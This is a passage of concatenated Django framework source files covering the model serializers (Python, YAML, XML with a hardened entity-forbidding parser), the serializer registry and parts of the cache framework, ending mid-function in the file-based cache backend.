                                obj = default_manager.db_manager(db).get_by_natural_key(*field_value)
                                value = getattr(obj, field.remote_field.field_name)
                                # If this is a natural foreign key to an object that
                                # has a FK/O2O as the foreign key, use the FK value
                                if model._meta.pk.remote_field:
                                    value = value.pk
                            else:
                                value = model._meta.get_field(field_name).to_python(field_value)
                            data[field.attname] = value
                        else:
                            data[field.attname] = model._meta.get_field(field_name).to_python(field_value)
                    except Exception as e:
                        raise base.DeserializationError.WithData(e, d['model'], d.get('pk'), field_value)
                else:
                    data[field.attname] = None

            # Handle all other fields
            else:
                try:
                    data[field.name] = field.to_python(field_value)
                except Exception as e:
                    raise base.DeserializationError.WithData(e, d['model'], d.get('pk'), field_value)

        obj = base.build_instance(Model, data, db)
        yield base.DeserializedObject(obj, m2m_data)


def _get_model(model_identifier):
    """
    Helper to look up a model from an "app_label.model_name" string.
    """
    try:
        return apps.get_model(model_identifier)
    except (LookupError, TypeError):
        raise base.DeserializationError("Invalid model identifier: '%s'" % model_identifier)






"""
YAML serializer.

Requires PyYaml (http://pyyaml.org/), but that's checked for in __init__.
"""

import collections
import decimal
import sys
from io import StringIO

import yaml

from django.core.serializers.base import DeserializationError
from django.core.serializers.python import (
    Deserializer as PythonDeserializer, Serializer as PythonSerializer,
)
from django.db import models
from django.utils import six

# Use the C (faster) implementation if possible
try:
    from yaml import CSafeLoader as SafeLoader
    from yaml import CSafeDumper as SafeDumper
except ImportError:
    from yaml import SafeLoader, SafeDumper


class DjangoSafeDumper(SafeDumper):
    def represent_decimal(self, data):
        return self.represent_scalar('tag:yaml.org,2002:str', str(data))

    def represent_ordered_dict(self, data):
        return self.represent_mapping('tag:yaml.org,2002:map', data.items())

DjangoSafeDumper.add_representer(decimal.Decimal, DjangoSafeDumper.represent_decimal)
DjangoSafeDumper.add_representer(collections.OrderedDict, DjangoSafeDumper.represent_ordered_dict)


class Serializer(PythonSerializer):
    """
    Convert a queryset to YAML.
    """

    internal_use_only = False

    def handle_field(self, obj, field):
        # A nasty special case: base YAML doesn't support serialization of time
        # types (as opposed to dates or datetimes, which it does support). Since
        # we want to use the "safe" serializer for better interoperability, we
        # need to do something with those pesky times. Converting 'em to strings
        # isn't perfect, but it's better than a "!!python/time" type which would
        # halt deserialization under any other language.
        if isinstance(field, models.TimeField) and getattr(obj, field.name) is not None:
            self._current[field.name] = str(getattr(obj, field.name))
        else:
            super(Serializer, self).handle_field(obj, field)

    def end_serialization(self):
        yaml.dump(self.objects, self.stream, Dumper=DjangoSafeDumper, **self.options)

    def getvalue(self):
        # Grand-parent super
        return super(PythonSerializer, self).getvalue()


def Deserializer(stream_or_string, **options):
    """
    Deserialize a stream or string of YAML data.
    """
    if isinstance(stream_or_string, bytes):
        stream_or_string = stream_or_string.decode('utf-8')
    if isinstance(stream_or_string, six.string_types):
        stream = StringIO(stream_or_string)
    else:
        stream = stream_or_string
    try:
        for obj in PythonDeserializer(yaml.load(stream, Loader=SafeLoader), **options):
            yield obj
    except GeneratorExit:
        raise
    except Exception as e:
        # Map to deserializer error
        six.reraise(DeserializationError, DeserializationError(e), sys.exc_info()[2])






"""
Module for abstract serializer/unserializer base classes.
"""
from django.db import models
from django.utils import six


class SerializerDoesNotExist(KeyError):
    """The requested serializer was not found."""
    pass


class SerializationError(Exception):
    """Something bad happened during serialization."""
    pass


class DeserializationError(Exception):
    """Something bad happened during deserialization."""

    @classmethod
    def WithData(cls, original_exc, model, fk, field_value):
        """
        Factory method for creating a deserialization error which has a more
        explanatory message.
        """
        return cls("%s: (%s:pk=%s) field_value was '%s'" % (original_exc, model, fk, field_value))


class ProgressBar(object):
    progress_width = 75

    def __init__(self, output, total_count):
        self.output = output
        self.total_count = total_count
        self.prev_done = 0

    def update(self, count):
        if not self.output:
            return
        perc = count * 100 // self.total_count
        done = perc * self.progress_width // 100
        if self.prev_done >= done:
            return
        self.prev_done = done
        cr = '' if self.total_count == 1 else '\r'
        self.output.write(cr + '[' + '.' * done + ' ' * (self.progress_width - done) + ']')
        if done == self.progress_width:
            self.output.write('\n')
        self.output.flush()


class Serializer(object):
    """
    Abstract serializer base class.
    """

    # Indicates if the implemented serializer is only available for
    # internal Django use.
    internal_use_only = False
    progress_class = ProgressBar
    stream_class = six.StringIO

    def serialize(self, queryset, **options):
        """
        Serialize a queryset.
        """
        self.options = options

        self.stream = options.pop("stream", self.stream_class())
        self.selected_fields = options.pop("fields", None)
        self.use_natural_foreign_keys = options.pop('use_natural_foreign_keys', False)
        self.use_natural_primary_keys = options.pop('use_natural_primary_keys', False)
        progress_bar = self.progress_class(
            options.pop('progress_output', None), options.pop('object_count', 0)
        )

        self.start_serialization()
        self.first = True
        for count, obj in enumerate(queryset, start=1):
            self.start_object(obj)
            # Use the concrete parent class' _meta instead of the object's _meta
            # This is to avoid local_fields problems for proxy models. Refs #17717.
            concrete_model = obj._meta.concrete_model
            for field in concrete_model._meta.local_fields:
                if field.serialize:
                    if field.remote_field is None:
                        if self.selected_fields is None or field.attname in self.selected_fields:
                            self.handle_field(obj, field)
                    else:
                        if self.selected_fields is None or field.attname[:-3] in self.selected_fields:
                            self.handle_fk_field(obj, field)
            for field in concrete_model._meta.many_to_many:
                if field.serialize:
                    if self.selected_fields is None or field.attname in self.selected_fields:
                        self.handle_m2m_field(obj, field)
            self.end_object(obj)
            progress_bar.update(count)
            if self.first:
                self.first = False
        self.end_serialization()
        return self.getvalue()

    def start_serialization(self):
        """
        Called when serializing of the queryset starts.
        """
        raise NotImplementedError('subclasses of Serializer must provide a start_serialization() method')

    def end_serialization(self):
        """
        Called when serializing of the queryset ends.
        """
        pass

    def start_object(self, obj):
        """
        Called when serializing of an object starts.
        """
        raise NotImplementedError('subclasses of Serializer must provide a start_object() method')

    def end_object(self, obj):
        """
        Called when serializing of an object ends.
        """
        pass

    def handle_field(self, obj, field):
        """
        Called to handle each individual (non-relational) field on an object.
        """
        raise NotImplementedError('subclasses of Serializer must provide an handle_field() method')

    def handle_fk_field(self, obj, field):
        """
        Called to handle a ForeignKey field.
        """
        raise NotImplementedError('subclasses of Serializer must provide an handle_fk_field() method')

    def handle_m2m_field(self, obj, field):
        """
        Called to handle a ManyToManyField.
        """
        raise NotImplementedError('subclasses of Serializer must provide an handle_m2m_field() method')

    def getvalue(self):
        """
        Return the fully serialized queryset (or None if the output stream is
        not seekable).
        """
        if callable(getattr(self.stream, 'getvalue', None)):
            return self.stream.getvalue()


class Deserializer(six.Iterator):
    """
    Abstract base deserializer class.
    """

    def __init__(self, stream_or_string, **options):
        """
        Init this serializer given a stream or a string
        """
        self.options = options
        if isinstance(stream_or_string, six.string_types):
            self.stream = six.StringIO(stream_or_string)
        else:
            self.stream = stream_or_string

    def __iter__(self):
        return self

    def __next__(self):
        """Iteration iterface -- return the next item in the stream"""
        raise NotImplementedError('subclasses of Deserializer must provide a __next__() method')


class DeserializedObject(object):
    """
    A deserialized model.

    Basically a container for holding the pre-saved deserialized data along
    with the many-to-many data saved with the object.

    Call ``save()`` to save the object (with the many-to-many data) to the
    database; call ``save(save_m2m=False)`` to save just the object fields
    (and not touch the many-to-many stuff.)
    """

    def __init__(self, obj, m2m_data=None):
        self.object = obj
        self.m2m_data = m2m_data

    def __repr__(self):
        return "<DeserializedObject: %s(pk=%s)>" % (
            self.object._meta.label, self.object.pk)

    def save(self, save_m2m=True, using=None, **kwargs):
        # Call save on the Model baseclass directly. This bypasses any
        # model-defined save. The save is also forced to be raw.
        # raw=True is passed to any pre/post_save signals.
        models.Model.save_base(self.object, using=using, raw=True, **kwargs)
        if self.m2m_data and save_m2m:
            for accessor_name, object_list in self.m2m_data.items():
                getattr(self.object, accessor_name).set(object_list)

        # prevent a second (possibly accidental) call to save() from saving
        # the m2m data twice.
        self.m2m_data = None


def build_instance(Model, data, db):
    """
    Build a model instance.

    If the model instance doesn't have a primary key and the model supports
    natural keys, try to retrieve it from the database.
    """
    obj = Model(**data)
    if (obj.pk is None and hasattr(Model, 'natural_key') and
            hasattr(Model._default_manager, 'get_by_natural_key')):
        natural_key = obj.natural_key()
        try:
            obj.pk = Model._default_manager.db_manager(db).get_by_natural_key(*natural_key).pk
        except Model.DoesNotExist:
            pass
    return obj






"""
Interfaces for serializing Django objects.

Usage::

    from django.core import serializers
    json = serializers.serialize("json", some_queryset)
    objects = list(serializers.deserialize("json", json))

To add your own serializers, use the SERIALIZATION_MODULES setting::

    SERIALIZATION_MODULES = {
        "csv": "path.to.csv.serializer",
        "txt": "path.to.txt.serializer",
    }

"""

import importlib

from django.apps import apps
from django.conf import settings
from django.core.serializers.base import SerializerDoesNotExist
from django.utils import six

# Built-in serializers
BUILTIN_SERIALIZERS = {
    "xml": "django.core.serializers.xml_serializer",
    "python": "django.core.serializers.python",
    "json": "django.core.serializers.json",
    "yaml": "django.core.serializers.pyyaml",
}

_serializers = {}


class BadSerializer(object):
    """
    Stub serializer to hold exception raised during registration

    This allows the serializer registration to cache serializers and if there
    is an error raised in the process of creating a serializer it will be
    raised and passed along to the caller when the serializer is used.
    """
    internal_use_only = False

    def __init__(self, exception):
        self.exception = exception

    def __call__(self, *args, **kwargs):
        raise self.exception


def register_serializer(format, serializer_module, serializers=None):
    """Register a new serializer.

    ``serializer_module`` should be the fully qualified module name
    for the serializer.

    If ``serializers`` is provided, the registration will be added
    to the provided dictionary.

    If ``serializers`` is not provided, the registration will be made
    directly into the global register of serializers. Adding serializers
    directly is not a thread-safe operation.
    """
    if serializers is None and not _serializers:
        _load_serializers()

    try:
        module = importlib.import_module(serializer_module)
    except ImportError as exc:
        bad_serializer = BadSerializer(exc)

        module = type('BadSerializerModule', (object,), {
            'Deserializer': bad_serializer,
            'Serializer': bad_serializer,
        })

    if serializers is None:
        _serializers[format] = module
    else:
        serializers[format] = module


def unregister_serializer(format):
    "Unregister a given serializer. This is not a thread-safe operation."
    if not _serializers:
        _load_serializers()
    if format not in _serializers:
        raise SerializerDoesNotExist(format)
    del _serializers[format]


def get_serializer(format):
    if not _serializers:
        _load_serializers()
    if format not in _serializers:
        raise SerializerDoesNotExist(format)
    return _serializers[format].Serializer


def get_serializer_formats():
    if not _serializers:
        _load_serializers()
    return list(_serializers)


def get_public_serializer_formats():
    if not _serializers:
        _load_serializers()
    return [k for k, v in six.iteritems(_serializers) if not v.Serializer.internal_use_only]


def get_deserializer(format):
    if not _serializers:
        _load_serializers()
    if format not in _serializers:
        raise SerializerDoesNotExist(format)
    return _serializers[format].Deserializer


def serialize(format, queryset, **options):
    """
    Serialize a queryset (or any iterator that returns database objects) using
    a certain serializer.
    """
    s = get_serializer(format)()
    s.serialize(queryset, **options)
    return s.getvalue()


def deserialize(format, stream_or_string, **options):
    """
    Deserialize a stream or a string. Returns an iterator that yields ``(obj,
    m2m_relation_dict)``, where ``obj`` is an instantiated -- but *unsaved* --
    object, and ``m2m_relation_dict`` is a dictionary of ``{m2m_field_name :
    list_of_related_objects}``.
    """
    d = get_deserializer(format)
    return d(stream_or_string, **options)


def _load_serializers():
    """
    Register built-in and settings-defined serializers. This is done lazily so
    that user code has a chance to (e.g.) set up custom settings without
    needing to be careful of import order.
    """
    global _serializers
    serializers = {}
    for format in BUILTIN_SERIALIZERS:
        register_serializer(format, BUILTIN_SERIALIZERS[format], serializers)
    if hasattr(settings, "SERIALIZATION_MODULES"):
        for format in settings.SERIALIZATION_MODULES:
            register_serializer(format, settings.SERIALIZATION_MODULES[format], serializers)
    _serializers = serializers


def sort_dependencies(app_list):
    """Sort a list of (app_config, models) pairs into a single list of models.

    The single list of models is sorted so that any model with a natural key
    is serialized before a normal model, and any model with a natural key
    dependency has it's dependencies serialized first.
    """
    # Process the list of models, and get the list of dependencies
    model_dependencies = []
    models = set()
    for app_config, model_list in app_list:
        if model_list is None:
            model_list = app_config.get_models()

        for model in model_list:
            models.add(model)
            # Add any explicitly defined dependencies
            if hasattr(model, 'natural_key'):
                deps = getattr(model.natural_key, 'dependencies', [])
                if deps:
                    deps = [apps.get_model(dep) for dep in deps]
            else:
                deps = []

            # Now add a dependency for any FK relation with a model that
            # defines a natural key
            for field in model._meta.fields:
                if field.remote_field:
                    rel_model = field.remote_field.model
                    if hasattr(rel_model, 'natural_key') and rel_model != model:
                        deps.append(rel_model)
            # Also add a dependency for any simple M2M relation with a model
            # that defines a natural key.  M2M relations with explicit through
            # models don't count as dependencies.
            for field in model._meta.many_to_many:
                if field.remote_field.through._meta.auto_created:
                    rel_model = field.remote_field.model
                    if hasattr(rel_model, 'natural_key') and rel_model != model:
                        deps.append(rel_model)
            model_dependencies.append((model, deps))

    model_dependencies.reverse()
    # Now sort the models to ensure that dependencies are met. This
    # is done by repeatedly iterating over the input list of models.
    # If all the dependencies of a given model are in the final list,
    # that model is promoted to the end of the final list. This process
    # continues until the input list is empty, or we do a full iteration
    # over the input models without promoting a model to the final list.
    # If we do a full iteration without a promotion, that means there are
    # circular dependencies in the list.
    model_list = []
    while model_dependencies:
        skipped = []
        changed = False
        while model_dependencies:
            model, deps = model_dependencies.pop()

            # If all of the models in the dependency list are either already
            # on the final model list, or not on the original serialization list,
            # then we've found another model with all it's dependencies satisfied.
            found = True
            for candidate in ((d not in models or d in model_list) for d in deps):
                if not candidate:
                    found = False
            if found:
                model_list.append(model)
                changed = True
            else:
                skipped.append((model, deps))
        if not changed:
            raise RuntimeError(
                "Can't resolve dependencies for %s in serialized app list." %
                ', '.join(
                    '%s.%s' % (model._meta.app_label, model._meta.object_name)
                    for model, deps in sorted(skipped, key=lambda obj: obj[0].__name__)
                )
            )
        model_dependencies = skipped

    return model_list






"""
XML serializer.
"""

from __future__ import unicode_literals

from collections import OrderedDict
from xml.dom import pulldom
from xml.sax import handler
from xml.sax.expatreader import ExpatParser as _ExpatParser

from django.apps import apps
from django.conf import settings
from django.core.serializers import base
from django.db import DEFAULT_DB_ALIAS, models
from django.utils.encoding import smart_text
from django.utils.xmlutils import (
    SimplerXMLGenerator, UnserializableContentError,
)


class Serializer(base.Serializer):
    """
    Serializes a QuerySet to XML.
    """

    def indent(self, level):
        if self.options.get('indent') is not None:
            self.xml.ignorableWhitespace('\n' + ' ' * self.options.get('indent') * level)

    def start_serialization(self):
        """
        Start serialization -- open the XML document and the root element.
        """
        self.xml = SimplerXMLGenerator(self.stream, self.options.get("encoding", settings.DEFAULT_CHARSET))
        self.xml.startDocument()
        self.xml.startElement("django-objects", {"version": "1.0"})

    def end_serialization(self):
        """
        End serialization -- end the document.
        """
        self.indent(0)
        self.xml.endElement("django-objects")
        self.xml.endDocument()

    def start_object(self, obj):
        """
        Called as each object is handled.
        """
        if not hasattr(obj, "_meta"):
            raise base.SerializationError("Non-model object (%s) encountered during serialization" % type(obj))

        self.indent(1)
        attrs = OrderedDict([("model", smart_text(obj._meta))])
        if not self.use_natural_primary_keys or not hasattr(obj, 'natural_key'):
            obj_pk = obj._get_pk_val()
            if obj_pk is not None:
                attrs['pk'] = smart_text(obj_pk)

        self.xml.startElement("object", attrs)

    def end_object(self, obj):
        """
        Called after handling all fields for an object.
        """
        self.indent(1)
        self.xml.endElement("object")

    def handle_field(self, obj, field):
        """
        Called to handle each field on an object (except for ForeignKeys and
        ManyToManyFields)
        """
        self.indent(2)
        self.xml.startElement("field", OrderedDict([
            ("name", field.name),
            ("type", field.get_internal_type()),
        ]))

        # Get a "string version" of the object's data.
        if getattr(obj, field.name) is not None:
            try:
                self.xml.characters(field.value_to_string(obj))
            except UnserializableContentError:
                raise ValueError("%s.%s (pk:%s) contains unserializable characters" % (
                    obj.__class__.__name__, field.name, obj._get_pk_val()))
        else:
            self.xml.addQuickElement("None")

        self.xml.endElement("field")

    def handle_fk_field(self, obj, field):
        """
        Called to handle a ForeignKey (we need to treat them slightly
        differently from regular fields).
        """
        self._start_relational_field(field)
        related_att = getattr(obj, field.get_attname())
        if related_att is not None:
            if self.use_natural_foreign_keys and hasattr(field.remote_field.model, 'natural_key'):
                related = getattr(obj, field.name)
                # If related object has a natural key, use it
                related = related.natural_key()
                # Iterable natural keys are rolled out as subelements
                for key_value in related:
                    self.xml.startElement("natural", {})
                    self.xml.characters(smart_text(key_value))
                    self.xml.endElement("natural")
            else:
                self.xml.characters(smart_text(related_att))
        else:
            self.xml.addQuickElement("None")
        self.xml.endElement("field")

    def handle_m2m_field(self, obj, field):
        """
        Called to handle a ManyToManyField. Related objects are only
        serialized as references to the object's PK (i.e. the related *data*
        is not dumped, just the relation).
        """
        if field.remote_field.through._meta.auto_created:
            self._start_relational_field(field)
            if self.use_natural_foreign_keys and hasattr(field.remote_field.model, 'natural_key'):
                # If the objects in the m2m have a natural key, use it
                def handle_m2m(value):
                    natural = value.natural_key()
                    # Iterable natural keys are rolled out as subelements
                    self.xml.startElement("object", {})
                    for key_value in natural:
                        self.xml.startElement("natural", {})
                        self.xml.characters(smart_text(key_value))
                        self.xml.endElement("natural")
                    self.xml.endElement("object")
            else:
                def handle_m2m(value):
                    self.xml.addQuickElement("object", attrs={
                        'pk': smart_text(value._get_pk_val())
                    })
            for relobj in getattr(obj, field.name).iterator():
                handle_m2m(relobj)

            self.xml.endElement("field")

    def _start_relational_field(self, field):
        """
        Helper to output the <field> element for relational fields
        """
        self.indent(2)
        self.xml.startElement("field", OrderedDict([
            ("name", field.name),
            ("rel", field.remote_field.__class__.__name__),
            ("to", smart_text(field.remote_field.model._meta)),
        ]))


class Deserializer(base.Deserializer):
    """
    Deserialize XML.
    """

    def __init__(self, stream_or_string, **options):
        super(Deserializer, self).__init__(stream_or_string, **options)
        self.event_stream = pulldom.parse(self.stream, self._make_parser())
        self.db = options.pop('using', DEFAULT_DB_ALIAS)
        self.ignore = options.pop('ignorenonexistent', False)

    def _make_parser(self):
        """Create a hardened XML parser (no custom/external entities)."""
        return DefusedExpatParser()

    def __next__(self):
        for event, node in self.event_stream:
            if event == "START_ELEMENT" and node.nodeName == "object":
                self.event_stream.expandNode(node)
                return self._handle_object(node)
        raise StopIteration

    def _handle_object(self, node):
        """
        Convert an <object> node to a DeserializedObject.
        """
        # Look up the model using the model loading mechanism. If this fails,
        # bail.
        Model = self._get_model_from_node(node, "model")

        # Start building a data dictionary from the object.
        data = {}
        if node.hasAttribute('pk'):
            data[Model._meta.pk.attname] = Model._meta.pk.to_python(
                node.getAttribute('pk'))

        # Also start building a dict of m2m data (this is saved as
        # {m2m_accessor_attribute : [list_of_related_objects]})
        m2m_data = {}

        field_names = {f.name for f in Model._meta.get_fields()}
        # Deserialize each field.
        for field_node in node.getElementsByTagName("field"):
            # If the field is missing the name attribute, bail (are you
            # sensing a pattern here?)
            field_name = field_node.getAttribute("name")
            if not field_name:
                raise base.DeserializationError("<field> node is missing the 'name' attribute")

            # Get the field from the Model. This will raise a
            # FieldDoesNotExist if, well, the field doesn't exist, which will
            # be propagated correctly unless ignorenonexistent=True is used.
            if self.ignore and field_name not in field_names:
                continue
            field = Model._meta.get_field(field_name)

            # As is usually the case, relation fields get the special treatment.
            if field.remote_field and isinstance(field.remote_field, models.ManyToManyRel):
                m2m_data[field.name] = self._handle_m2m_field_node(field_node, field)
            elif field.remote_field and isinstance(field.remote_field, models.ManyToOneRel):
                data[field.attname] = self._handle_fk_field_node(field_node, field)
            else:
                if field_node.getElementsByTagName('None'):
                    value = None
                else:
                    value = field.to_python(getInnerText(field_node).strip())
                data[field.name] = value

        obj = base.build_instance(Model, data, self.db)

        # Return a DeserializedObject so that the m2m data has a place to live.
        return base.DeserializedObject(obj, m2m_data)

    def _handle_fk_field_node(self, node, field):
        """
        Handle a <field> node for a ForeignKey
        """
        # Check if there is a child node named 'None', returning None if so.
        if node.getElementsByTagName('None'):
            return None
        else:
            model = field.remote_field.model
            if hasattr(model._default_manager, 'get_by_natural_key'):
                keys = node.getElementsByTagName('natural')
                if keys:
                    # If there are 'natural' subelements, it must be a natural key
                    field_value = [getInnerText(k).strip() for k in keys]
                    obj = model._default_manager.db_manager(self.db).get_by_natural_key(*field_value)
                    obj_pk = getattr(obj, field.remote_field.field_name)
                    # If this is a natural foreign key to an object that
                    # has a FK/O2O as the foreign key, use the FK value
                    if field.remote_field.model._meta.pk.remote_field:
                        obj_pk = obj_pk.pk
                else:
                    # Otherwise, treat like a normal PK
                    field_value = getInnerText(node).strip()
                    obj_pk = model._meta.get_field(field.remote_field.field_name).to_python(field_value)
                return obj_pk
            else:
                field_value = getInnerText(node).strip()
                return model._meta.get_field(field.remote_field.field_name).to_python(field_value)

    def _handle_m2m_field_node(self, node, field):
        """
        Handle a <field> node for a ManyToManyField.
        """
        model = field.remote_field.model
        default_manager = model._default_manager
        if hasattr(default_manager, 'get_by_natural_key'):
            def m2m_convert(n):
                keys = n.getElementsByTagName('natural')
                if keys:
                    # If there are 'natural' subelements, it must be a natural key
                    field_value = [getInnerText(k).strip() for k in keys]
                    obj_pk = default_manager.db_manager(self.db).get_by_natural_key(*field_value).pk
                else:
                    # Otherwise, treat like a normal PK value.
                    obj_pk = model._meta.pk.to_python(n.getAttribute('pk'))
                return obj_pk
        else:
            def m2m_convert(n):
                return model._meta.pk.to_python(n.getAttribute('pk'))
        return [m2m_convert(c) for c in node.getElementsByTagName("object")]

    def _get_model_from_node(self, node, attr):
        """
        Helper to look up a model from a <object model=...> or a <field
        rel=... to=...> node.
        """
        model_identifier = node.getAttribute(attr)
        if not model_identifier:
            raise base.DeserializationError(
                "<%s> node is missing the required '%s' attribute"
                % (node.nodeName, attr))
        try:
            return apps.get_model(model_identifier)
        except (LookupError, TypeError):
            raise base.DeserializationError(
                "<%s> node has invalid model identifier: '%s'"
                % (node.nodeName, model_identifier))


def getInnerText(node):
    """
    Get all the inner text of a DOM node (recursively).
    """
    # inspired by http://mail.python.org/pipermail/xml-sig/2005-March/011022.html
    inner_text = []
    for child in node.childNodes:
        if child.nodeType == child.TEXT_NODE or child.nodeType == child.CDATA_SECTION_NODE:
            inner_text.append(child.data)
        elif child.nodeType == child.ELEMENT_NODE:
            inner_text.extend(getInnerText(child))
        else:
            pass
    return "".join(inner_text)


# Below code based on Christian Heimes' defusedxml


class DefusedExpatParser(_ExpatParser):
    """
    An expat parser hardened against XML bomb attacks.

    Forbids DTDs, external entity references
    """
    def __init__(self, *args, **kwargs):
        _ExpatParser.__init__(self, *args, **kwargs)
        self.setFeature(handler.feature_external_ges, False)
        self.setFeature(handler.feature_external_pes, False)

    def start_doctype_decl(self, name, sysid, pubid, has_internal_subset):
        raise DTDForbidden(name, sysid, pubid)

    def entity_decl(self, name, is_parameter_entity, value, base,
                    sysid, pubid, notation_name):
        raise EntitiesForbidden(name, value, base, sysid, pubid, notation_name)

    def unparsed_entity_decl(self, name, base, sysid, pubid, notation_name):
        # expat 1.2
        raise EntitiesForbidden(name, None, base, sysid, pubid, notation_name)

    def external_entity_ref_handler(self, context, base, sysid, pubid):
        raise ExternalReferenceForbidden(context, base, sysid, pubid)

    def reset(self):
        _ExpatParser.reset(self)
        parser = self._parser
        parser.StartDoctypeDeclHandler = self.start_doctype_decl
        parser.EntityDeclHandler = self.entity_decl
        parser.UnparsedEntityDeclHandler = self.unparsed_entity_decl
        parser.ExternalEntityRefHandler = self.external_entity_ref_handler


class DefusedXmlException(ValueError):
    """Base exception."""
    def __repr__(self):
        return str(self)


class DTDForbidden(DefusedXmlException):
    """Document type definition is forbidden."""
    def __init__(self, name, sysid, pubid):
        super(DTDForbidden, self).__init__()
        self.name = name
        self.sysid = sysid
        self.pubid = pubid

    def __str__(self):
        tpl = "DTDForbidden(name='{}', system_id={!r}, public_id={!r})"
        return tpl.format(self.name, self.sysid, self.pubid)


class EntitiesForbidden(DefusedXmlException):
    """Entity definition is forbidden."""
    def __init__(self, name, value, base, sysid, pubid, notation_name):
        super(EntitiesForbidden, self).__init__()
        self.name = name
        self.value = value
        self.base = base
        self.sysid = sysid
        self.pubid = pubid
        self.notation_name = notation_name

    def __str__(self):
        tpl = "EntitiesForbidden(name='{}', system_id={!r}, public_id={!r})"
        return tpl.format(self.name, self.sysid, self.pubid)


class ExternalReferenceForbidden(DefusedXmlException):
    """Resolving an external reference is forbidden."""
    def __init__(self, context, base, sysid, pubid):
        super(ExternalReferenceForbidden, self).__init__()
        self.context = context
        self.base = base
        self.sysid = sysid
        self.pubid = pubid

    def __str__(self):
        tpl = "ExternalReferenceForbidden(system_id='{}', public_id={})"
        return tpl.format(self.sysid, self.pubid)






"""
Caching framework.

This package defines set of cache backends that all conform to a simple API.
In a nutshell, a cache is a set of values -- which can be any object that
may be pickled -- identified by string keys.  For the complete API, see
the abstract BaseCache class in django.core.cache.backends.base.

Client code should use the `cache` variable defined here to access the default
cache backend and look up non-default cache backends in the `caches` dict-like
object.

See docs/topics/cache.txt for information on the public API.
"""
from threading import local

from django.conf import settings
from django.core import signals
from django.core.cache.backends.base import (
    BaseCache, CacheKeyWarning, InvalidCacheBackendError,
)
from django.utils.module_loading import import_string

__all__ = [
    'cache', 'DEFAULT_CACHE_ALIAS', 'InvalidCacheBackendError',
    'CacheKeyWarning', 'BaseCache',
]

DEFAULT_CACHE_ALIAS = 'default'


def _create_cache(backend, **kwargs):
    try:
        # Try to get the CACHES entry for the given backend name first
        try:
            conf = settings.CACHES[backend]
        except KeyError:
            try:
                # Trying to import the given backend, in case it's a dotted path
                import_string(backend)
            except ImportError as e:
                raise InvalidCacheBackendError("Could not find backend '%s': %s" % (
                    backend, e))
            location = kwargs.pop('LOCATION', '')
            params = kwargs
        else:
            params = conf.copy()
            params.update(kwargs)
            backend = params.pop('BACKEND')
            location = params.pop('LOCATION', '')
        backend_cls = import_string(backend)
    except ImportError as e:
        raise InvalidCacheBackendError(
            "Could not find backend '%s': %s" % (backend, e))
    return backend_cls(location, params)


class CacheHandler(object):
    """
    A Cache Handler to manage access to Cache instances.

    Ensures only one instance of each alias exists per thread.
    """
    def __init__(self):
        self._caches = local()

    def __getitem__(self, alias):
        try:
            return self._caches.caches[alias]
        except AttributeError:
            self._caches.caches = {}
        except KeyError:
            pass

        if alias not in settings.CACHES:
            raise InvalidCacheBackendError(
                "Could not find config for '%s' in settings.CACHES" % alias
            )

        cache = _create_cache(alias)
        self._caches.caches[alias] = cache
        return cache

    def all(self):
        return getattr(self._caches, 'caches', {}).values()

caches = CacheHandler()


class DefaultCacheProxy(object):
    """
    Proxy access to the default Cache object's attributes.

    This allows the legacy `cache` object to be thread-safe using the new
    ``caches`` API.
    """
    def __getattr__(self, name):
        return getattr(caches[DEFAULT_CACHE_ALIAS], name)

    def __setattr__(self, name, value):
        return setattr(caches[DEFAULT_CACHE_ALIAS], name, value)

    def __delattr__(self, name):
        return delattr(caches[DEFAULT_CACHE_ALIAS], name)

    def __contains__(self, key):
        return key in caches[DEFAULT_CACHE_ALIAS]

    def __eq__(self, other):
        return caches[DEFAULT_CACHE_ALIAS] == other

    def __ne__(self, other):
        return caches[DEFAULT_CACHE_ALIAS] != other

cache = DefaultCacheProxy()


def close_caches(**kwargs):
    # Some caches -- python-memcached in particular -- need to do a cleanup at the
    # end of a request cycle. If not implemented in a particular backend
    # cache.close is a no-op
    for cache in caches.all():
        cache.close()
signals.request_finished.connect(close_caches)






from __future__ import unicode_literals

import hashlib

from django.utils.encoding import force_bytes
from django.utils.http import urlquote

TEMPLATE_FRAGMENT_KEY_TEMPLATE = 'template.cache.%s.%s'


def make_template_fragment_key(fragment_name, vary_on=None):
    if vary_on is None:
        vary_on = ()
    key = ':'.join(urlquote(var) for var in vary_on)
    args = hashlib.md5(force_bytes(key))
    return TEMPLATE_FRAGMENT_KEY_TEMPLATE % (fragment_name, args.hexdigest())






"File-based cache backend"
import errno
import glob
import hashlib
import io
import os
import random
import tempfile
import time
import zlib

from django.core.cache.backends.base import DEFAULT_TIMEOUT, BaseCache
from django.core.files.move import file_move_safe
from django.utils.encoding import force_bytes

try:
    from django.utils.six.moves import cPickle as pickle
except ImportError:
    import pickle


class FileBasedCache(BaseCache):
    cache_suffix = '.djcache'

    def __init__(self, dir, params):
        super(FileBasedCache, self).__init__(params)
        self._dir = os.path.abspath(dir)
        self._createdir()

    def add(self, key, value, timeout=DEFAULT_TIMEOUT, version=None):
        if self.has_key(key, version):
            return False
        self.set(key, value, timeout, version)
        return True

    def get(self, key, default=None, version=None):
        fname = self._key_to_file(key, version)
        try:
            with io.open(fname, 'rb') as f:
                if not self._is_expired(f):
                    return pickle.loads(zlib.decompress(f.read()))
        except IOError as e:
            if e.errno != errno.ENOENT:
                raise
        return default

    def set(self, key, value, timeout=DEFAULT_TIMEOUT, version=None):
        self._createdir()  # Cache dir can be deleted at any time.
        fname = self._key_to_file(key, version)
        self._cull()  # make some room if necessary
        fd, tmp_path = tempfile.mkstemp(dir=self._dir)
        renamed = False
        try:
            with io.open(fd, 'wb') as f:
                expiry = self.get_backend_timeout(timeout)
                f.write(pickle.dumps(expiry, pickle.HIGHEST_PROTOCOL))
                f.write(zlib.compress(pickle.dumps(value, pickle.HIGHEST_PROTOCOL)))
            file_move_safe(tmp_path, fname, allow_overwrite=True)
            renamed = True
        finally:
            if not renamed:
                os.remove(tmp_path)

    def delete(self, key, version=None):
        self._delete(self._key_to_file(key, version))

    def _delete(self, fname):
        if not fname.startswith(self._dir) or not os.path.exists(fname):
            return
        try:
            os.remove(fname)
        except OSError as e:
            # ENOENT can happen if the cache file is removed (by another
            # process) after the os.path.exists check.
            if e.errno != errno.ENOENT:
                raise

    def has_key(self, key, version=None):
        fname = self._key_to_file(key, version)
        if os.path.exists(fname):
            with io.open(fname, 'rb') as f:
                return not self._is_expired(f)
        return False

    def _cull(self):
        """
        Removes random cache entries if max_entries is reached at a ratio
        of num_entries / cull_frequency. A value of 0 for CULL_FREQUENCY means
        that the entire cache will be purged.
        """
        filelist = self._list_cache_files()
        num_entries = len(filelist)
        if num_entries < self._max_entries:
